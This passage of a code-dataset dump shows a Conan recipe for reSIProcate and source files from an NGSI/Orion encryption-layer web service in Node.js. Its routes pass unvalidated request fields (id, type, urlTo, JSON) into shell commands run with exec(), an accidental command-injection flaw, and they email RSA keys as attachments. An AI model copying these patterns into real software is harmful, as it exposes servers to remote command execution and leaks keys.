= \"cmake\"\n exports = \"LICENSE\"\n release_name = \"%s-%s\" % (name, version)\n install_dir = tempfile.mkdtemp(suffix=name)\n\n def source(self):\n tools.get(\"https://www.resiprocate.org/files/pub/reSIProcate/releases/resiprocate-%s.tar.gz\" % self.version)\n\n def requirements(self):\n if self.options.with_ssl:\n self.requires.add(\"OpenSSL/1.0.2l@conan/stable\")\n\n def configure(self):\n if self.options.with_tfm:\n self.options.with_repro = True\n if self.options.with_repro:\n self.options.with_popt = True\n\n def system_requirements(self):\n if self.settings.os == \"Linux\":\n package_names = []\n if self.options.with_popt:\n package_names.append(\"libpopt-dev\")\n if self.options.with_geoip:\n package_names.append(\"libgeoip-dev\")\n if self.options.with_repro:\n package_names.append(\"libdb5.3++-dev\")\n package_names.append(\"libcajun-dev\")\n if self.options.with_tfm or self.options.with_ssl:\n package_names.append(\"libboost-system-dev\")\n if self.options.with_tfm:\n package_names.append(\"libcppunit-dev\")\n package_names.append(\"libnetxx-dev\")\n if self.options.with_mysql:\n package_names.append(\"libmysqlclient-dev\")\n if self.options.with_ssl:\n package_names.append(\"libasio-dev\")\n if package_names:\n package_manager = tools.SystemPackageTool()\n package_manager.install(packages=' '.join(package_names))\n\n def build(self):\n tools.replace_in_file(os.path.join(self.release_name, \"configure.ac\"), 'AC_SUBST(LIBMYSQL_LIBADD, \"-lmysqlclient_r\")', 'AC_SUBST(LIBMYSQL_LIBADD, \"-lmysqlclient\")')\n tools.replace_in_file(os.path.join(self.release_name, \"configure\"), 'LIBMYSQL_LIBADD=\"-lmysqlclient_r\"', 'LIBMYSQL_LIBADD=\"-lmysqlclient\"')\n env_build = AutoToolsBuildEnvironment(self)\n env_build.fpic = True\n env_build.cxx_flags.append(\"-w\")\n with tools.environment_append(env_build.vars):\n configure_args = ['--prefix=%s' % self.install_dir]\n configure_args.append(\"--with-popt\" if self.options.with_popt else \"\")\n configure_args.append(\"--with-geoip\" if self.options.with_geoip else \"\")\n configure_args.append(\"--with-repro\" if self.options.with_repro else \"\")\n configure_args.append(\"--with-tfm\" if self.options.with_tfm else \"\")\n configure_args.append(\"--with-mysql\" if self.options.with_mysql else \"\")\n configure_args.append(\"--with-ssl\" if self.options.with_ssl else \"\")\n configure_args.append(\"--enable-ipv6\" if self.options.enable_ipv6 else \"\")\n configure_args.append(\"--enable-silent-rules\")\n with tools.chdir(self.release_name):\n env_build.configure(args=configure_args)\n env_build.make(args=[\"--quiet\", \"all\"])\n if self.scope.dev == True:\n env_build.make(args=[\"--quiet\", \"check\"])\n env_build.make(args=[\"install\"])\n\n def package(self):\n self.copy(\"LICENSE\", src=self.release_name, dst=\".\", keep_path=False)\n self.copy(pattern=\"*\", dst=\"include\", src=os.path.join(self.install_dir, \"include\"))\n self.copy(pattern=\"*\", dst=\"bin\", src=os.path.join(self.install_dir, \"sbin\"), keep_path=False)\n if self.options.shared:\n self.copy(pattern=\"*.so*\", dst=\"lib\", src=os.path.join(self.install_dir, \"lib\"), keep_path=False)\n self.copy(pattern=\"*.dylib\", dst=\"lib\", src=os.path.join(self.install_dir, \"lib\"), keep_path=False)\n else:\n self.copy(pattern=\"*.a\", dst=\"lib\", src=os.path.join(self.install_dir, \"lib\"), keep_path=False)\n self.copy(pattern=\"*.la\", dst=\"lib\", src=os.path.join(self.install_dir, \"lib\"), keep_path=False)\n\n def package_info(self):\n self.env_info.PATH.append(os.path.join(self.package_folder, \"bin\"))\n self.cpp_info.libs = [\"resip\", \"rutil\", \"dum\", \"resipares\"]\n if self.settings.os == \"Linux\":\n self.cpp_info.libs.append(\"pthread\")\n if self.options.with_popt:\n self.cpp_info.libs.append(\"popt\")\n if self.options.with_geoip:\n self.cpp_info.libs.append(\"GeoIP\")\n if self.options.with_mysql:\n self.cpp_info.libs.append(\"mysqlclient\")\n if self.options.with_repro:\n self.cpp_info.libs.append(\"db\")\n self.cpp_info.libs.append(\"repro\")\n if self.options.with_ssl or self.options.with_tfm:\n self.cpp_info.libs.append(\"boost_system\")\n if self.options.with_tfm:\n self.cpp_info.libs.append(\"tfm\")\n self.cpp_info.libs.append(\"tfmrepro\")\n self.cpp_info.libs.append(\"cppunit\")\n self.cpp_info.libs.append(\"Netxx\")\n if self.options.with_ssl:\n self.cpp_info.libs.append(\"reTurnClient\")\n" }, { "alpha_fraction": 0.7374213933944702, "alphanum_fraction": 0.7536687850952148, "avg_line_length": 34.33333206176758, "blob_id": "13bec308464aece18b47e110781b0d03ca7d8515", "content_id": "3436e5b7f730a3521ec14a68b007731f6cb3bce4", "detected_licenses": [ "LicenseRef-scancode-other-permissive", "BSD-3-Clause", "VSL-1.0", "BSD-2-Clause" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1908, "license_type": "permissive", "max_line_length": 217, "num_lines": 54, "path": "/README.md", "repo_name": "uilianries/conan-resiprocate", "src_encoding": "UTF-8", "text": "[![Build Status](https://travis-ci.org/uilianries/conan-resiprocate.svg?branch=release/1.10.2)](https://travis-ci.org/uilianries/conan-resiprocate)\n[![License: Generous BSD-like](https://img.shields.io/badge/license-Generous%20BSD--like-blue.svg)](https://github.com/resiprocate/resiprocate/blob/master/COPYING)\n[![Download](https://api.bintray.com/packages/uilianries/conan/resiprocate%3Auilianries/images/download.svg?version=1.10.2%3Astable)](https://bintray.com/uilianries/conan/resiprocate%3Auilianries/1.10.2%3Astable/link)\n\n# conan-reSIProcate\n\n![Conan reSIProcate](conan-resiprocate.png)\n\n#### C++ implementation of SIP, ICE, TURN and related protocols\n\n[Conan.io](https://conan.io) package for [reSIProcate](https://www.resiprocate.org/) project\n\nThe packages generated with this **conanfile** can be found in [Bintray](https://bintray.com/uilianries/conan/resiprocate%3Auilianries).\n\n## Build packages\n\nDownload conan client from [Conan.io](https://conan.io) and run:\n\n $ python build.py\n\nIf your are in Windows you should run it from a VisualStudio console in order to get \"mc.exe\" in path.\n\n## Upload packages to server\n\n $ conan upload resiprocate/1.10.2@uilianries/stable --all\n\n## Reuse the packages\n\n### Basic setup\n\n $ conan install resiprocate/1.10.2@uilianries/stable\n\n### Project setup\n\nIf you handle multiple dependencies in your project is better to add a *conanfile.txt*\n\n [requires]\n resiprocate/1.10.2@uilianries/stable\n\n [options]\n resiprocate:shared=True # False\n\n [generators]\n txt\n cmake\n\nComplete the installation of requirements for your project running:</small></span>\n\n conan install .\n\nProject setup installs the library (and all his dependencies) and generates the files *conanbuildinfo.txt* and *conanbuildinfo.cmake* with all the paths and variables that you need to link with your dependencies.\n\n### License\n[Generous BSD-like](LICENSE)\n" } ]
4
smartsdk/NGSI-Encryption-Layer-as-a-Service
https://github.com/smartsdk/NGSI-Encryption-Layer-as-a-Service
16cc6a6b003865a2be356df6785022c6ffab9eb1
c50db78b66aedcb1a5cd484b15cb86b9ab2b70e8
2af3dd73ee4db226aaa46047a08e79ca6f3f76c3
refs/heads/master
2020-04-18T04:06:12.804973
2019-01-22T00:30:27
2019-01-22T00:30:27
161,850,794
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6112625002861023, "alphanum_fraction": 0.6366938948631287, "avg_line_length": 27.230770111083984, "blob_id": "af96c42ab58e15002e894a8e6b45cfcf16f15668", "content_id": "1a965f880fa90e2bc00f592b46695ecbc27481b1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1101, "license_type": "no_license", "max_line_length": 81, "num_lines": 39, "path": "/token-based/encrypt-server/server.js", "repo_name": "smartsdk/NGSI-Encryption-Layer-as-a-Service", "src_encoding": "UTF-8", "text": "var express = require('express');\nvar bodyParser = require('body-parser');\nvar mongoose = require('mongoose');\nvar methodOverride = require(\"method-override\");\nvar app = express();\nvar User = require('./models/user'); \nvar service = require('./services/service');\nvar api = require('./routes/user');\n\n// Connection to DB\n// docker-compose static ip\n// var mongodb = \"172.16.238.10\"\n// docker-compose environment ip\nvar mongodb = process.env.MONGODB_PORT_27017_TCP_ADDR + \"\";\n// var mongodb = \"localhost\"\nmongoose.connect('mongodb://'+mongodb+':27017/encryp-users', function(err, res) {\n if(err) throw err;\n console.log('Connected to Database');\n});\n\n// Middlewares\napp.use(bodyParser.urlencoded({ extended: true })); \n//app.use(bodyParser.json()); \napp.use(methodOverride());\n\n// =======================\n// Routes ================\n// =======================\n\napp.get('/', function(req, res) {\n res.send('this is an api to encrypt / decrypt orion data models');\n});\n\napp.use('/', api);\n\n// Start server\napp.listen(8000, function() {\n console.log(\"Server running on http://localhost:8000\");\n});\n" }, { "alpha_fraction": 0.5789936184883118, "alphanum_fraction": 0.5908591747283936, "avg_line_length": 34.27906799316406, "blob_id": "407d34a3f38c97c05807db5f7335357a3da9715d", "content_id": "60f24b9dbbed9b4daccc04297aefddebe6699a0f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 18204, "license_type": "no_license", "max_line_length": 226, "num_lines": 516, "path": "/token-based/encrypt-server/routes/user.js", "repo_name": "smartsdk/NGSI-Encryption-Layer-as-a-Service", "src_encoding": "UTF-8", "text": "var express = require('express');\nvar middleware = require('../middlewares/middleware');\nvar User = require('../models/user'); \nvar encryp = require('../models/encryp');\nvar email = require('../services/send');\nvar router = express.Router();\n//var exec = require('child_process').exec;\nvar service = require('../services/service');\nvar emailExistence = require('email-existence');\nvar exec = require('child-process-promise').exec;\nvar path = require('path');\nvar fs = require('fs');\n//var FormData = require('form-data');\n//var multer = require('multer');\n//var upload = multer({ dest: '.'})\n\nfunction eliminar(){\n exec('rm key.txt').then(function(result){\n })\n .catch(function(err){\n console.error('Error to delete key.txt: ', err);\n });\n exec('rm outencrypt.json').then(function(result){\n })\n .catch(function(err){\n console.error('Error to delete key.txt: ', err);\n });\n exec('rm outdecrypt.txt').then(function(result){\n })\n .catch(function(err){\n console.error('Error to delete key.txt: ', err);\n });\n}\n\nfunction validateEmail(email) {\n var re = /^[(a-z0-9\\_\\-\\.)][email protected]/;\n return re.test(String(email).toLowerCase());\n}\n\nfunction validateurl(url) {\n var re = /^(?:http(s)?:\\/\\/)*[\\w\\_\\-\\.]+[:]?[0-9]*\\/v2\\/entities$/;\n return re.test(String(url).toLowerCase());\n}\n\n//Route (GET http://localhost:3000/service)\nrouter.get('/', function(req, res) {\n res.json({ message: 'this is an api to encrypt / decrypt orion data models, please signup' });\n});\n\n/*\nrouter.get('/users', function(req, res) {\n User.find({}, function(err, users) {\n res.json(users);\n });\n});*/ \n\n//https://itnext.io/how-to-handle-the-post-request-body-in-node-js-without-using-a-framework-cd2038b93190\n\n//regist users\nrouter.post('/signup', function(req, res){\n const FORM_URLENCODED = 'application/x-www-form-urlencoded';\n if(!(req.headers['content-type'] === FORM_URLENCODED)) {\n return res.status(500).send({ message: 'Please use a x-www-form-urlencoded'});\n }\n if(!req.body.name || !req.body.email){\n return res.status(409).send({ message: 'Please enter name and email'});\n }\n if(validateEmail(req.body.email)){\n\n emailExistence.check(req.body.email, function(error, response){\n if(response){\n \n User.findOne({ name: req.body.name }, function(err, existingUser){\n if(existingUser){\n return res.status(409).send({ message: 'Name is alredy taken'});\n }else{\n User.findOne({ email: req.body.email }, function(err, existingemail){\n if(existingemail){\n return res.status(409).send({ message: 'Email is alredy taken'});\n }\n var user = new User({\n name: req.body.name,\n email: req.body.email\n });\n user.save(function(err, result){\n if(err){\n res.status(500).send({ message: err.message, service: \"error in User or Email\" });\n throw err;\n }\n res.send({\n success: true,\n message: 'Enjoy your token!',\n token: service.createToken(user)\n });\n });\n });\n } \n });\n\n }else{\n return res.status(409).send({ message: 'The email no exists'});\n }\n });\n\n }\n else{\n return res.status(500).send({message: \"error, use a gmail account\" });\n }\n});\n\n// Route to authenticate a user (POST http://localhost:8000/service/authenticate)\nrouter.post('/authenticate', function(req, res) {\n const FORM_URLENCODED = 'application/x-www-form-urlencoded';\n if(!(req.headers['content-type'] === FORM_URLENCODED)) {\n return res.status(500).send({ message: 'Please use a x-www-form-urlencoded'});\n }\n if(!req.body.name || !req.body.email){\n return res.status(409).send({ message: 'Please enter name and email'});\n }\n\n //find the user\n User.findOne( {name: req.body.name }, function(err, user) {\n if (err) throw err;\n if (!user) {\n res.json({ success: false, message: 'Authentication failed. User not found.' });\n }else if (user) {\n\n // check if email matches\n if (user.email != req.body.email) {\n res.json({ success: false, message: 'Authentication failed. Wrong email.' });\n } else {\n\n // return the information including token as JSON\n res.json({\n success: true,\n message: 'Enjoy your token!',\n token: service.createToken(user)\n });\n }\n }\n });\n});\n\n//routes encrypt -------------------------------------------------------------------------------------\n\n//encryp route\nrouter.post('/encrypt/ocb',middleware.ensureAuthenticated, function(req, res){\n const FORM_URLENCODED = 'application/x-www-form-urlencoded';\n if(!(req.headers['content-type'] === FORM_URLENCODED)) {\n return res.status(500).send({ message: 'Please use a x-www-form-urlencoded'});\n }\n if(!req.body.urlFrom || !req.body.id || !req.body.type || !req.body.urlTo){\n return res.status(409).send({ message: 'Please enter urlFrom, id, type and urlTo'});\n }\n if(!(validateurl(req.body.urlFrom))){\n console.log(validateurl(req.body.urlFrom));\n return res.status(500).send({ message: 'Please enter a urlFrom valid', example: 'http://192.168.0.1:1026/v2/entities'});\n }\n if(!(validateurl(req.body.urlTo))){\n return res.status(500).send({ message: 'Please enter a urlTo valid', example: 'http://192.168.0.1:1026/v2/entities'});\n }\n eliminar();\n var token = req.headers.authorization;\n User.findOne({ _id: req.user }, function(err, obj){\n if (err) throw err;\n if (!obj) {\n return res.status(500).send({ message: 'Unregistered user'});\n }\n\n var urlin = req.body.urlFrom + '/'+ req.body.id + '?type=' + req.body.type;\n var urlout = req.body.urlTo + '/'+ req.body.id + '?type=' + req.body.type;\n\n var add = encryp({\n name: obj.name,\n urlFrom: urlin,\n urlTo: req.body.urlTo,\n service: \"encrypt-ocb\"\n });\n\n exec('wget -O ine.json -d --header=\"Accept: application/json\" --header=\"Fiware-Service: default\" --header=\"Fiware-ServicePath: /\" '+ urlin + '&& jsonlint ine.json && jq . ine.json > inencrypt.json').then(function(result){\n var conte = fs.readFileSync('inencrypt.json', 'utf8');\n\n exec('wget -O orion.json -d --header=\"Accept: application/json\" --header=\"Fiware-Service: default\" --header=\"Fiware-ServicePath: /\" '+ urlout + '&& jsonlint orion.json').then(function(resul){\n res.json({error : \"Orion urlTo, server not found or id alredy exist\"});\n \n })\n .catch(function(err){\n console.error('Error to find the orion urlin: ', err);\n \n exec('java -jar encryptJSON.jar').then(function(result1){\n\n }).then(function(result2){\n var content = fs.readFileSync('outencrypt.json', 'utf8');\n exec(`curl `+req.body.urlTo+` -s -S --header 'Content-Type: application/json' --header 'Fiware-Service: default' --header 'Fiware-ServicePath: /' -d @- <<EOF \\n`+ content+ `EOF`).then(function(result3){\n \n }).then(function(save){\n add.save(function(err) {\n if (err) throw err;\n });\n email.sendemail(obj.name, obj.email, req.body.id, req.body.type, req.body.urlTo);\n }).then(function(elim){\n res.send(content);\n })\n .catch(function(err){\n console.error('Error to send the orion urlTo: ', err);\n res.json({error : \"Error to send the Orion urlTo\"});\n });\n\n })\n .catch(function(err){\n console.error('Error encryption failed: ', err);\n res.json({Error : \"encryption failed\"});\n });\n\n });\n\n })\n .catch(function(err){\n console.error('Error to find the orion urlin: ', err);\n res.json({error : \"Orion urlFrom, entitie not found\"});\n });\n });\n});\n\n//only encryp\n//npm install jsonlint -g\nrouter.post('/encrypt',middleware.ensureAuthenticated, function(req, res){\n const FORM_URLENCODED = 'application/x-www-form-urlencoded';\n if(!(req.headers['content-type'] === FORM_URLENCODED)) {\n return res.status(500).send({ message: 'Please use a x-www-form-urlencoded'});\n }\n if(!req.body.json){\n return res.status(409).send({ message: 'Please enter json'});\n }\n eliminar();\n var token = req.headers.authorization;\n User.findOne({ _id: req.user }, function(err, obj){\n if (err) throw err;\n if (!obj) {\n return res.status(500).send({ message: 'Unregistered user'});\n }\n var add = encryp({\n name: obj.name,\n service: \"encrypt\"\n });\n\n fs.writeFile('inencrypt.json', req.body.json, function (err) {\n if (err) throw err;\n console.log('Saved!');\n });\n\n exec('jsonlint inencrypt.json').then(function(result){\n\n exec('java -jar encryptJSON.jar').then(function(result){\n\n }).then(function(save){\n var contentjson = fs.readFileSync('outencrypt.json', 'utf8');\n res.send(contentjson);\n email.onlysendemail(obj.name, obj.email);\n }).then(function(data){\n add.save(function(err) {\n if (err) throw err;\n });\n })\n .catch(function(err){\n console.error('Error encryption failed: ', err);\n res.json({Error : \"encryption failed\"});\n });\n\n })\n .catch(function(err){\n console.error('Error encryption failed: ', err);\n res.json({Error : \"json not valid\"});\n });\n })\n});\n\n//routes decrypt -------------------------------------------------------------------------------------\n\n//dencryp route\nrouter.post('/decrypt/ocb',middleware.ensureAuthenticated, function(req, res){\n const FORM_URLENCODED = 'application/x-www-form-urlencoded';\n if(!(req.headers['content-type'] === FORM_URLENCODED)) {\n return res.status(500).send({ message: 'Please use a x-www-form-urlencoded'});\n }\n if(!req.body.urlFrom || !req.body.id || !req.body.type || !req.body.urlTo || !req.body.key){\n return res.status(409).send({ message: 'Please enter urlFrom, id, type, urlTo and key'});\n }\n if(!(validateurl(req.body.urlFrom))){\n return res.status(500).send({ message: 'Please enter urlFrom valid', example: 'http://192.168.0.1:1026/v2/entities'});\n }\n if(!(validateurl(req.body.urlTo))){\n return res.status(500).send({ message: 'Please enter urlTo valid', example: 'http://192.168.0.1:1026/v2/entities'});\n }\n eliminar();\n\n var urlin = req.body.urlFrom+ '/'+ req.body.id + '?type=' + req.body.type;\n var urlout = req.body.urlTo + '/'+ req.body.id + '?type=' + req.body.type;\n\n var token = req.headers.authorization;\n User.findOne({ _id: req.user }, function(err, obj){\n if (err) throw err;\n if (!obj) {\n return res.status(500).send({ message: 'Unregistered user'});\n }\n\n var add = encryp({\n name: obj.name,\n urlFrom: urlin,\n urlTo: req.body.urlTo,\n service: \"decrypt-ocb\"\n });\n\n exec('wget -O ind.json -d --header=\"Accept: application/json\" --header=\"Fiware-Service: default\" --header=\"Fiware-ServicePath: /\" '+ urlin + '&& jsonlint ind.json && jq . ind.json > indecrypt.json ').then(function(result){\n fs.writeFile('key.txt', req.body.key, function (err) {\n if (err) throw err;\n console.log('Saved keys!');\n });\n exec('wget -O dorion.json -d --header=\"Accept: application/json\" --header=\"Fiware-Service: default\" --header=\"Fiware-ServicePath: /\" '+ urlout + '&& jsonlint dorion.json').then(function(result){\n res.json({error : \"Orion urlTo, server not found or id alredy exist\"});\n\n })\n .catch(function(err){\n console.error('Error to find the orion urlout: ', err);\n\n exec('java -jar decryptJSON.jar').then(function(result1){\n\n }).then(function(result2){\n var content = fs.readFileSync('outdecrypt.json', 'utf8');\n res.send(content);\n\n exec(`curl `+req.body.urlTo+` -s -S --header 'Content-Type: application/json' --header 'Fiware-Service: default' --header 'Fiware-ServicePath: /' -d @- <<EOF \\n`+ content+ `EOF`).then(function(result3){\n\n }).then(function(save){\n add.save(function(err) {\n if (err) throw err;\n });\n })\n .catch(function(err){\n console.error('Error to send the orion urlTo: ', err);\n res.json({error : \"Error to send the Orion urlTo\"});\n });\n\n })\n .catch(function(err){\n console.error('Error decryption failed: ', err);\n res.json({ error : \"decryption failed, invalid keys\" });\n });\n\n });\n\n })\n .catch(function(err){\n console.error('Error to find the orion urlin: ', err);\n res.json({error : \"Orion urlFrom, entitie not found\"});\n });\n });\n});\n\n//only dencryp\n//npm install jsonlint -g\nrouter.post('/decrypt',middleware.ensureAuthenticated, function(req, res){\n const FORM_URLENCODED = 'application/x-www-form-urlencoded';\n if(!(req.headers['content-type'] === FORM_URLENCODED)) {\n return res.status(500).send({ message: 'Please use a x-www-form-urlencoded'});\n }\n if(!req.body.json || !req.body.key){\n return res.status(409).send({ message: 'Please enter json and key'});\n }\n var token = req.headers.authorization;\n eliminar();\n User.findOne({ _id: req.user }, function(err, obj){\n if (err) throw err;\n if (!obj) {\n return res.status(500).send({ message: 'Unregistered user'});\n }\n var add = encryp({\n name: obj.name,\n service: \"decrypt\"\n });\n\n fs.writeFile('indecrypt.json', req.body.json, function (err) {\n if (err) throw err;\n console.log('Saved json!');\n });\n fs.writeFile('key.txt', req.body.key, function (err) {\n if (err) throw err;\n console.log('Saved keys!');\n });\n\n exec('jsonlint indecrypt.json').then(function(result){\n\n exec('java -jar decryptJSON.jar').then(function(result){\n\n }).then(function(save){\n var contentjson = fs.readFileSync('outdecrypt.json', 'utf8');\n res.send(contentjson);\n }).then(function(data){\n add.save(function(err) {\n if (err) throw err;\n });\n })\n .catch(function(err){\n console.error('Error dencrypt failed: ', err);\n res.json({Error : \"decrypt failed\"});\n });\n\n })\n .catch(function(err){\n console.error('Error decrypt failed: ', err);\n res.json({Error : \"json not valid\"});\n });\n })\n});\n\n//routes encrypt/decrypt orion to local -------------------------------------------------------------------------------------\n\nrouter.post('/encrypt/ocb-local', middleware. ensureAuthenticated, function(req, res){\n const FORM_URLENCODED = 'application/x-www-form-urlencoded';\n if(!(req.headers['content-type'] === FORM_URLENCODED)) {\n return res.status(500).send({ message: 'Please use a x-www-form-urlencoded'});\n }\n if(!req.body.urlFrom || !req.body.id || !req.body.type){\n return res.status(409).send({ message: 'Please enter urlFrom, id, type'});\n }\n if(!(validateurl(req.body.urlFrom))){\n return res.status(500).send({ message: 'Please enter urlFrom valid', example: 'http://192.168.0.1:1026/v2/entities'});\n }\n eliminar();\n\n var urlin = req.body.urlFrom+ '/'+ req.body.id + '?type=' + req.body.type;\n\n User.findOne({ _id: req.user }, function(err, obj){\n if (err) throw err;\n if (!obj) {\n return res.status(500).send({ message: 'Unregistered user'});\n }\n\n var add = encryp({\n name: obj.name,\n urlFrom: urlin,\n service: \"encrypt-ocb-local\"\n });\n\n exec('wget -O ine.json -d --header=\"Accept: application/json\" --header=\"Fiware-Service: default\" --header=\"Fiware-ServicePath: /\" '+ urlin + '&& jsonlint ine.json && jq . ine.json > inencrypt.json ').then(function(result){\n\n exec('java -jar encryptJSON.jar').then(function(result1){\n\n }).then(function(result2){\n var content = fs.readFileSync('outencrypt.json', 'utf8');\n res.send(content);\n email.sendemailocb_local(obj.name, obj.email, req.body.id, req.body.type);\n\n }).catch(function(err){\n console.error('Error encryption failed: ', err);\n res.json({ error : \"encryption failed\" });\n });\n\n })\n .catch(function(err){\n console.error('Error to find the orion urlFrom: ', err);\n res.json({error : \"Orion urlFrom, entitie not found\"});\n });\n });\n});\n\nrouter.post('/decrypt/ocb-local', middleware. ensureAuthenticated, function(req, res){\n const FORM_URLENCODED = 'application/x-www-form-urlencoded';\n if(!(req.headers['content-type'] === FORM_URLENCODED)) {\n return res.status(500).send({ message: 'Please use a x-www-form-urlencoded'});\n }\n if(!req.body.urlFrom || !req.body.id || !req.body.type){\n return res.status(409).send({ message: 'Please enter urlFrom, id, type'});\n }\n if(!(validateurl(req.body.urlFrom))){\n return res.status(500).send({ message: 'Please enter urlFrom valid', example: 'http://192.168.0.1:1026/v2/entities'});\n }\n eliminar();\n\n var urlin = req.body.urlFrom+ '/'+ req.body.id + '?type=' + req.body.type;\n\n User.findOne({ _id: req.user }, function(err, obj){\n if (err) throw err;\n if (!obj) {\n return res.status(500).send({ message: 'Unregistered user'});\n }\n\n var add = encryp({\n name: obj.name,\n urlFrom: urlin,\n service: \"decrypt-ocb-local\"\n });\n\n exec('wget -O ind.json -d --header=\"Accept: application/json\" --header=\"Fiware-Service: default\" --header=\"Fiware-ServicePath: /\" '+ urlin + '&& jsonlint ind.json && jq . ind.json > indecrypt.json ').then(function(result){\n\n exec('java -jar decryptJSON.jar').then(function(result1){\n\n }).then(function(result2){\n var content = fs.readFileSync('outdecrypt.json', 'utf8');\n res.send(content);\n email.sendemailocb_local(obj.name, obj.email, req.body.id, req.body.type);\n\n }).catch(function(err){\n console.error('Error decryption failed: ', err);\n res.json({ error : \"decryption failed\" });\n });\n\n })\n .catch(function(err){\n console.error('Error to find the orion urlin: ', err);\n res.json({error : \"Orion urlFrom, entitie not found\"});\n });\n });\n});\n\nmodule.exports = router;\n" }, { "alpha_fraction": 0.6822429895401001, "alphanum_fraction": 0.7242990732192993, "avg_line_length": 18.363636016845703, "blob_id": "cbbc8f1e96135b9275f1fad3d634509b27b1d20a", "content_id": "4bd436034ccf8577e6a74f42647ee4eb4aeeccd4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Dockerfile", "length_bytes": 428, "license_type": "no_license", "max_line_length": 47, "num_lines": 22, "path": "/session-based/Dockerfile", "repo_name": "smartsdk/NGSI-Encryption-Layer-as-a-Service", "src_encoding": "UTF-8", "text": "FROM ubuntu:16.04\n\n#Enter email and password (only gmail account)\nENV ngsi_address_send email\nENV ngsi_encrypt_pass password_email\n\nENV S_ASDW_K Encrypt_ITESM_LOGIN\nCOPY /encrypt /encrypt\nRUN apt update \nRUN apt install -y default-jre \\\n\tdefault-jdk \\\n\tpython2.7 \\\n\tpython-pip\\\n\tcurl; \\\n\tpip install Flask\\\n\tgunicorn\\\n\tpymongo\\\n\tvalidate_email\\\n\tPyDNS;\nEXPOSE 2121\nWORKDIR /encrypt\nCMD [\"gunicorn\",\"--bind\",\"0.0.0.0:2121\",\"wsgi\"]\n\n\n" }, { "alpha_fraction": 0.6177685856819153, "alphanum_fraction": 0.6198347210884094, "avg_line_length": 31.33333396911621, "blob_id": "7973c38a5b22679a1134458e6b4d3785f852a3fd", "content_id": "296af9399fe4aaf71f46e12ca5485175aecedf85", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 484, "license_type": "no_license", "max_line_length": 95, "num_lines": 15, "path": "/token-based/encrypt-server/encryp/encrypt.py", "repo_name": "smartsdk/NGSI-Encryption-Layer-as-a-Service", "src_encoding": "UTF-8", "text": "import os\nimport commands\n\ndef encrypt(urlin, urlout):\n\tos.system(\"chmod +x RSA_JSON.jar\")\n\tos.system(\"wget -O in.json \"+urlin)\n\t'''os.system(\"java -jar RSA_JSON.jar\")\n\t\t\t\tcontenido=file(\"out.json\").read().splitlines()\n\t\t\t\tcontenido.insert(0,\"curl \"+urlout+\" -s -S -H 'Content-Type: application/json' -d @- <<EOF\")\n\t\t\t\tf = open('out.json', 'w')\n\t\t\t\tf.writelines(\"\\n\".join(contenido))\n\t\t\t\tf.write(\"\\n\"+\"EOF\")\n\t\t\t\tf.close()\n\t\t\t\ta = commands.getoutput(\"cat out.json\")\n\t\t\t\tos.system(a)'''" }, { "alpha_fraction": 0.5168226361274719, "alphanum_fraction": 0.5180171132087708, "avg_line_length": 38.55118179321289, "blob_id": "c4ee5fad45bfff0ee333ff4dd8e8c8f19416a67b", "content_id": "8d7c5a2bea6431aee867ddff2301c76f05034bb4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 5023, "license_type": "no_license", "max_line_length": 104, "num_lines": 127, "path": "/token-based/encrypt-server/services/send.js", "repo_name": "smartsdk/NGSI-Encryption-Layer-as-a-Service", "src_encoding": "UTF-8", "text": "// Require'ing module and setting default options\nexports.sendemail = function(user, email, id, type ,url){\n\n var send = require('gmail-send')({\n user: process.env.ngsi_address_send + \"\",\n pass: process.env.ngsi_encrypt_pass+ \"\",\n to: email,\n // to: credentials.user, // Send to yourself\n // you also may set array of recipients:\n // [ '[email protected]', '[email protected]' ]\n // from: credentials.user, // from: by default equals to user\n // replyTo: credentials.user, // replyTo: by default undefined\n // bcc: '[email protected]', // almost any option of `nodemailer` will be passed to it\n subject: 'test subject',\n text: 'Keys RSA \\n urlTo : ' + url + '\\n id : ' + id + '\\n type : ' + type, // Plain text\n //html: '<b>html text</b>' // HTML\n });\n \n // Override any default option and send email\n \n var filepath = 'key.txt'; // File to attach\n \n /*\n send({ // Overriding default parameters\n subject: 'Encryp Layer', // Override value set as default\n files: [ filepath ],\n }, function (err, res) {\n console.log('*1 send() callback returned: err:', err, '; res:', res);\n }); */\n \n send({ // Overriding default parameters\n subject: user, // Override value set as default\n files: [ // Array of files to attach\n {\n path: filepath,\n filename: 'key.txt' // You can override filename in the attachment if needed\n }\n ],\n }, function (err, res) {\n console.log('*2 send() callback returned: err:', err, '; res:', res);\n });\n}\n\nexports.onlysendemail = function(user, email){\n console.log(user, email);\n var send = require('gmail-send')({\n //var send = require('../index.js')({\n user: process.env.ngsi_address_send + \"\",\n pass: process.env.ngsi_encrypt_pass+ \"\",\n to: email,\n // to: credentials.user, // Send to yourself\n // you also may set array of recipients:\n // [ '[email protected]', '[email protected]' ]\n // from: credentials.user, // from: by default equals to user\n // replyTo: credentials.user, // replyTo: by default undefined\n // bcc: '[email protected]', // almost any option of `nodemailer` will be passed to it\n subject: 'test subject',\n text: 'Keys RSA ', // Plain text\n //html: '<b>html text</b>' // HTML\n });\n \n // Override any default option and send email\n \n var filepath = 'key.txt'; // File to attach\n \n /*\n send({ // Overriding default parameters\n subject: 'Encryp Layer', // Override value set as default\n files: [ filepath ],\n }, function (err, res) {\n console.log('*1 send() callback returned: err:', err, '; res:', res);\n }); */\n \n send({ // Overriding default parameters\n subject: user, // Override value set as default\n files: [ // Array of files to attach\n {\n path: filepath,\n filename: 'key.txt' // You can override filename in the attachment if needed\n }\n ],\n }, function (err, res) {\n console.log('*2 send() callback returned: err:', err, '; res:', res);\n });\n}\n\nexports.sendemailocb_local = function(user, email, id, type){\n\n var send = require('gmail-send')({\n user: process.env.ngsi_address_send + \"\",\n pass: process.env.ngsi_encrypt_pass+ \"\",\n to: email,\n // to: credentials.user, // Send to yourself\n // you also may set array of recipients:\n // [ '[email protected]', '[email protected]' ]\n // from: credentials.user, // from: by default equals to user\n // replyTo: credentials.user, // replyTo: by default undefined\n // bcc: '[email protected]', // almost any option of `nodemailer` will be passed to it\n subject: 'test subject',\n text: 'Keys RSA \\n' + '\\n id : ' + id + '\\n type : ' + type, // Plain text\n //html: '<b>html text</b>' // 